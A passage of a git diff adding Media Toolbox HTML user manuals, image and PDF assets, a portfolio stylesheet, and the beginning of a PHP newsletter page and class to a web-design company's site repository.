+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a form that will allow you to add information about the
+new listing. Type in the information. For example, if you wanted to
+add a new employee to the contact page you could type in all their
+contact information in.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+4: Insert</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button at the
+bottom <BR>named, &ldquo;<B>Insert</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A LISTING</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Choose a category</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Media Toolbox</B>&rdquo; from the top menu. Determine what
+category the listing is in. Click &ldquo;<B>Listings</B>&rdquo; next
+to that category. Next you will see a list of all this listing in
+that category, find the listing you would like to edit, and click
+&ldquo;<B>Edit</B>&rdquo; next to it.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Edit the listing</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see the same form as when you added the listing. Edit the
+information that you want to change. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Update</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button at the
+bottom <BR>named, &ldquo;<B>Update</B>&rdquo;.</FONT></FONT></P>
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/manuals/html/ToolboxUserGuide_1.0_html_92c196b.jpg b/manuals/html/ToolboxUserGuide_1.0_html_92c196b.jpg
new file mode 100644 (file)
index 0000000..4d524fa
Binary files /dev/null and b/manuals/html/ToolboxUserGuide_1.0_html_92c196b.jpg differ
diff --git a/manuals/html/ToolboxUserGuide_1.0_html_m28980d19.jpg b/manuals/html/ToolboxUserGuide_1.0_html_m28980d19.jpg
new file mode 100644 (file)
index 0000000..6462237
Binary files /dev/null and b/manuals/html/ToolboxUserGuide_1.0_html_m28980d19.jpg differ
diff --git a/manuals/html/ToolboxUserGuide_2.0.html b/manuals/html/ToolboxUserGuide_2.0.html
new file mode 100644 (file)
index 0000000..3760fc1
--- /dev/null
@@ -0,0 +1,271 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+       <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
+       <TITLE>Media Toolbox</TITLE>
+       <META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.1  (Win32)">
+       <META NAME="AUTHOR" CONTENT="Eric Greenwald">
+       <META NAME="CREATED" CONTENT="20030611;14300000">
+       <META NAME="CHANGEDBY" CONTENT="Ove Klykken">
+       <META NAME="CHANGED" CONTENT="20040617;15341201">
+       <STYLE>
+       <!--
+               @page { size: 8.5in 11in; margin-right: 1.25in; margin-top: 0.5in; margin-bottom: 1in }
+               P { margin-bottom: 0.08in; direction: ltr; color: #000000; widows: 2; orphans: 2 }
+               P.western { font-family: "Times New Roman", serif; font-size: 12pt; so-language: en-US }
+               P.cjk { font-family: "Times New Roman", serif; font-size: 12pt }
+               P.ctl { font-family: "Times New Roman", serif; font-size: 12pt; so-language: ar-SA }
+               H1 { margin-top: 0in; margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; direction: ltr; color: #ff0000; widows: 2; orphans: 2 }
+               H1.western { font-family: "Arial", sans-serif; font-size: 20pt; so-language: en-US }
+               H1.cjk { font-family: "Times New Roman", serif; font-size: 20pt }
+               H1.ctl { font-family: "Arial", sans-serif; font-size: 20pt; so-language: ar-SA; font-weight: medium }
+       -->
+       </STYLE>
+</HEAD>
+<BODY LANG="en-US" TEXT="#000000" DIR="LTR">
+<DIV TYPE=HEADER>
+       <P STYLE="margin-bottom: 0.3in"><BR>
+       </P>
+</DIV>
+<H1 CLASS="western"><FONT COLOR="#808080">Media Toolbox</FONT></H1>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Categories
+are the sections of your website, for example, About Us, Location,
+History. Using categories allows you to modify the pages and even add
+pages to your website. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A NEW CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Add New Category</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">A
+category is the section in which you introduce the visitor to the
+website. To add a category on your website click &ldquo;<B>Media
+Toolbox</B>&rdquo; on the top menu. Next you will see a list of
+categories, or sections of your website. S<I>ee Figure 1.</I> Click
+the link right above the title called <B>&ldquo;Add A <BR>New
+Category&rdquo;.</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"> 
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Category Information</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next,
+you will see empty boxes where you can add text:<I> See Figure 2.</I></FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Name:
+       Type the name for the<BR> new webpage.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Parent
+       Category: If the category you are adding to the Web site is a
+       sub-category, you will need to select a Parent Category. Otherwise
+       leave it as: &ldquo;<B>-No Parent-</B>&ldquo;.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Intro:
+       Type the heading for the webpage, it could be the same as the name
+       and it also could be a little more descriptive.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Description:
+       Type the text for <BR>the webpage.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">New
+       Image: You have the option to add one image related to the category.
+       When you click the browse button, it will open a file window that
+       allows you to browse your computer and choose an image file to add.
+       Choose the image then click <B>&ldquo;Open&rdquo;</B>. </FONT></FONT>
+       </P>
+</UL>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>**
+Rules of thumb for uploading images:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>These
+       image files should be no greater than 600 Pixels wide</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Insert</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"> 
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have added all the information you would like on your new
+webpage, click the &ldquo;<B>Insert</B>&rdquo; button at the bottom
+of the page.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Edit</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>To
+modify a category on your website click &ldquo;<B>Categories</B>&rdquo;
+on the top menu. Here you will see a list of categories on your
+website. S<I>ee Figure 1. </I>Click &ldquo;<B>Edit</B>&rdquo; next to
+the category you would like to modify. 
+<IMG SRC="ToolboxUserGuide_1.0_html_92c196b.jpg" NAME="Graphic1" ALIGN=BOTTOM WIDTH=263 HEIGHT=114 BORDER=0><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+1</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Modify Category Information</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see all the information about that category. <I>See Figure
+2.</I> All of the text in these boxes can be modified. For example,
+you can change the &ldquo;<B>Intro</B>&rdquo; to say: &ldquo;<B>Our
+New Location</B>&rdquo; and then change the &ldquo;<B>Description</B>&rdquo;
+and add information about your new location. You could also change
+the title of the webpage, which is the &ldquo;<B>Name</B>&rdquo;. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Update</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have finished modifying the category, click the &ldquo;<B>Update</B>&rdquo;
+button at the bottom of the page.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><IMG SRC="ToolboxUserGuide_1.0_html_m28980d19.jpg" NAME="Graphic2" ALIGN=BOTTOM WIDTH=263 HEIGHT=222 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+2</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>REMOVE
+A CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Edit</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">To
+remove a category on your website click &ldquo;<B>Categories</B>&rdquo;
+on the top menu. Here you will see a list of categories on your
+website. S<I>ee Figure 1. </I>Click &ldquo;<B>Edit</B>&rdquo; next to
+the category you would like to remove. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Remove</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see all the information about the category, verify that this
+is the category you would like to remove. Once you have done that
+click the &ldquo;<B>Delete</B>&rdquo; button at <BR>the bottom. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">NOTE:
+If you have any listings within that category, you must first delete
+those first, then proceed to delete the category.<BR></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>ADD
+A LISTING</B></FONT></FONT></P>
+<P STYLE="margin-top: 0.19in; margin-bottom: 0.19in"><FONT FACE="Arial Unicode MS, sans-serif"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><FONT COLOR="#000000">The
+listings are like paragraphs on your website. This is where you can
+add detailed contact information and upload multiple images, text,
+URL&rsquo;s and files. </FONT></FONT></FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Choose a category for the listing</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Media Toolbox</B>&rdquo; from the top menu. Determine what
+category you would like to add the listing in. Click &ldquo;<B>Listings</B>&rdquo;
+next to that category.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Add the listing</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a page that could have previous listings on it, and it
+might not. Click &ldquo;<B>Add new Record</B>&rdquo; at the top.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+3: Add Information</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a form that will allow you to add information about the
+new listing. Type in the information. For example, if you wanted to
+add a new employee to the contact page you could type in all their
+contact information in.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+4: Insert</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button at the
+bottom <BR>named, &ldquo;<B>Insert</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A LISTING</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Choose a category</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Media Toolbox</B>&rdquo; from the top menu. Determine what
+category the listing is in. Click &ldquo;<B>Listings</B>&rdquo; next
+to that category. Next you will see a list of all this listing in
+that category, find the listing you would like to edit, and click
+&ldquo;<B>Edit</B>&rdquo; next to it.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Edit the listing</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see the same form as when you added the listing. Edit the
+information that you want to change. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Update</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button at the
+bottom <BR>named, &ldquo;<B>Update</B>&rdquo;.</FONT></FONT></P>
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/manuals/html/images/add-edit-event.png b/manuals/html/images/add-edit-event.png
new file mode 100644 (file)
index 0000000..32b8d34
Binary files /dev/null and b/manuals/html/images/add-edit-event.png differ
diff --git a/manuals/html/images/album-list.png b/manuals/html/images/album-list.png
new file mode 100644 (file)
index 0000000..dbfac7d
Binary files /dev/null and b/manuals/html/images/album-list.png differ
diff --git a/manuals/html/images/edit-delete-event.png b/manuals/html/images/edit-delete-event.png
new file mode 100644 (file)
index 0000000..d589af8
Binary files /dev/null and b/manuals/html/images/edit-delete-event.png differ
diff --git a/manuals/html/images/event-recur.png b/manuals/html/images/event-recur.png
new file mode 100644 (file)
index 0000000..a30791a
Binary files /dev/null and b/manuals/html/images/event-recur.png differ
diff --git a/manuals/html/images/event-top-links.png b/manuals/html/images/event-top-links.png
new file mode 100644 (file)
index 0000000..1ed88d8
Binary files /dev/null and b/manuals/html/images/event-top-links.png differ
diff --git a/manuals/html/images/photo-album-edit.png b/manuals/html/images/photo-album-edit.png
new file mode 100644 (file)
index 0000000..608097c
Binary files /dev/null and b/manuals/html/images/photo-album-edit.png differ
diff --git a/manuals/html/images/photo-default-text.png b/manuals/html/images/photo-default-text.png
new file mode 100644 (file)
index 0000000..7bcb35c
Binary files /dev/null and b/manuals/html/images/photo-default-text.png differ
diff --git a/manuals/html/images/photo-edit.png b/manuals/html/images/photo-edit.png
new file mode 100644 (file)
index 0000000..f3073da
Binary files /dev/null and b/manuals/html/images/photo-edit.png differ
diff --git a/manuals/html/images/photo-list.png b/manuals/html/images/photo-list.png
new file mode 100644 (file)
index 0000000..ad6fc7c
Binary files /dev/null and b/manuals/html/images/photo-list.png differ
diff --git a/manuals/html/images/search-event.png b/manuals/html/images/search-event.png
new file mode 100644 (file)
index 0000000..b63a360
Binary files /dev/null and b/manuals/html/images/search-event.png differ
diff --git a/manuals/html/images/topic-event.png b/manuals/html/images/topic-event.png
new file mode 100644 (file)
index 0000000..35577ef
Binary files /dev/null and b/manuals/html/images/topic-event.png differ
diff --git a/manuals/pdf/NewsletterUserGuide_1.0.pdf b/manuals/pdf/NewsletterUserGuide_1.0.pdf
new file mode 100644 (file)
index 0000000..302bac6
Binary files /dev/null and b/manuals/pdf/NewsletterUserGuide_1.0.pdf differ
diff --git a/manuals/pdf/ShoppingSuite_1.0.pdf b/manuals/pdf/ShoppingSuite_1.0.pdf
new file mode 100644 (file)
index 0000000..aa3f1e4
Binary files /dev/null and b/manuals/pdf/ShoppingSuite_1.0.pdf differ
diff --git a/manuals/pdf/SteveContactsDatabase1.0.pdf b/manuals/pdf/SteveContactsDatabase1.0.pdf
new file mode 100644 (file)
index 0000000..f48431a
Binary files /dev/null and b/manuals/pdf/SteveContactsDatabase1.0.pdf differ
diff --git a/manuals/pdf/SteveContactsDatabase_1.0.pdf b/manuals/pdf/SteveContactsDatabase_1.0.pdf
new file mode 100644 (file)
index 0000000..f48431a
Binary files /dev/null and b/manuals/pdf/SteveContactsDatabase_1.0.pdf differ
diff --git a/manuals/pdf/ToolboxUserGuide_2.0.pdf b/manuals/pdf/ToolboxUserGuide_2.0.pdf
new file mode 100644 (file)
index 0000000..3666ea6
Binary files /dev/null and b/manuals/pdf/ToolboxUserGuide_2.0.pdf differ
diff --git a/portfolio.css b/portfolio.css
new file mode 100755 (executable)
index 0000000..1874256
--- /dev/null
@@ -0,0 +1,48 @@
+/* PORTFOLIO */
+#portfolio-categories {}
+.portfolio-categories-item {
+       float: left;
+       width: 180px;
+       text-align: center;
+       margin: 20px 10px;
+}
+.portfolio-categories-item img {
+       display: block;
+       margin: 5px auto;
+       border: 1px solid #00558F;
+       }
+.portfolio-categories-item a {
+       font-weight: bold;
+       text-align: center;
+       display: block;
+}
+.portfolio-websites-item {
+       float: left;
+       width: 190px;
+       text-align: center;
+       margin: 10px;
+       font-size: 12px;
+}
+.portfolio-websites-item img {
+       display: block; 
+       margin: 5px auto;
+       border: 1px solid #00558F;
+}
+.portfolio-websites-item.name {}
+.portfolio-websites-item a {
+       font-weight: bold;
+}
+#portfolio-detail {
+       margin-bottom: 1.5em;
+}
+#portfolio-detail img {
+       display: block;
+       float: right;
+       margin: 0 0 10px 10px;
+       position: relative;
+       border: 2px solid #00558f;
+       }
+div.clearer {
+       clear:both;
+       height:1px;
+}
diff --git a/searchengine/images/bg.gif b/searchengine/images/bg.gif
new file mode 100755 (executable)
index 0000000..d5e5560
Binary files /dev/null and b/searchengine/images/bg.gif differ
diff --git a/searchengine/images/bottom.gif b/searchengine/images/bottom.gif
new file mode 100755 (executable)
index 0000000..e4790ad
Binary files /dev/null and b/searchengine/images/bottom.gif differ
diff --git a/searchengine/images/tip-icon.gif b/searchengine/images/tip-icon.gif
new file mode 100755 (executable)
index 0000000..ad1a1f0
Binary files /dev/null and b/searchengine/images/tip-icon.gif differ
diff --git a/searchengine/images/top.gif b/searchengine/images/top.gif
new file mode 100755 (executable)
index 0000000..de4df50
Binary files /dev/null and b/searchengine/images/top.gif differ
diff --git a/searchengine/index.php b/searchengine/index.php
new file mode 100755 (executable)
index 0000000..4b3efcb
--- /dev/null
@@ -0,0 +1,97 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media: SEO Marketing Tips &amp; News</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<?php
+include('../setup.phtml');
+include(BASE.'classes/class_template.inc');
+$toolbox =& new GLM_TEMPLATE( 1 );
+include(BASE.'searchengine/searchengine_news.inc');
+$news =& new search_news( $toolbox );
+?>
+<body>
+<div id="wrapper">
+       <div id="top">
+               <div id="top-date">Volume <?php echo $news->main->vol;?> Number <?php echo $news->main->issue;?></div>
+               <!--<div id="top-list">
+                         <div id="top-list-head">In this Issue:</div>
+<?php
+/*
+if( is_array( $news->sections ) )
+{
+       foreach( $news->sections as $links )
+       {
+               echo '<a href="#sec'.$links->id.'">'.strip_tags($links->header).'</a>';
+       }
+}
+*/
+?>
+               </div>--> <!-- /#top-list -->
+       </div><!-- /#top -->
+       <div id="tip">
+<?php
+if( $news->tip != '' )
+{
+       echo '<div class="tip-item">
+               ';
+       echo $news->tip->header;
+       echo $news->tip->image;
+       echo $news->tip->description;
+       echo '
+       </div>';
+}
+if( is_array( $news->tip_sections ) )
+{
+       foreach( $news->tip_sections as $tip_sections )
+       {
+               echo '<div class="tip-item">
+                       ';
+               echo $tip_sections->header;
+               echo $tip_sections->image;
+               echo $tip_sections->description;
+               echo '
+               </div>';
+       }
+}
+?>
+       </div><!-- /#tip -->
+       <div id="content">
+<?php
+if( $news->main->description )
+{
+       echo '<div class="content-item">
+               ';
+       echo $news->main->header;
+       echo $news->main->image;
+       echo $news->main->description;
+       echo '
+       </div>';
+}
+if( is_array( $news->sections ) )
+{
+       foreach( $news->sections as $sections )
+       {
+               echo '<a name="sec'.$sections->id.'"></a><div class="content-item">
+                       ';
+               echo $sections->header;
+               echo $sections->image;
+               echo $sections->description;
+               echo '
+               </div>';
+       }
+}
+?>
+       </div><!-- /#content -->
+       <a href="http://www.gaslightmedia.com/" target="_blank"><img src="images/bottom.gif" width="760" height="70" alt="bottom (2K)" id="bottom"></a>
+       <div id="copyright">
+               Copyright&copy;2006 <a href="http://www.gaslightmedia.com/" target="_blank">Gaslight Media</a>
+       </div>
+</div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/searchengine/searchengine_news.inc b/searchengine/searchengine_news.inc
new file mode 100755 (executable)
index 0000000..cba86bd
--- /dev/null
@@ -0,0 +1,466 @@
+<?php
+/**
+ * search_news 
+ * 
+ * @uses GLM_TOOLBOX
+ * @package 
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class search_news extends GLM_TOOLBOX
+{
+    // {{{ Class Properties
+       /**
+        * volume 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $volume;
+       /**
+        * number 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $number;
+       /**
+        * main_news_catid 
+        * 
+        * @var float
+        * @access public
+        */
+       var $main_news_catid = 1;
+       /**
+        * tips_news_catid 
+        * 
+        * @var float
+        * @access public
+        */
+       var $tips_news_catid = 2;
+       /**
+        * side_news_catid 
+        * 
+        * @var float
+        * @access public
+        */
+       var $side_news_catid = 2;
+       /**
+        * main 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $main;
+       /**
+        * tips 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $tips;
+       /**
+        * sections 
+        * 
+        * @var array
+        * @access public
+        */
+       var $sections = array();
+    // }}}
+    // {{{ search_news()
+       /**
+        * search_news 
+        * 
+        * @param mixed $toolbox 
+        * @access public
+        * @return string
+        */
+       function search_news($toolbox) 
+       {
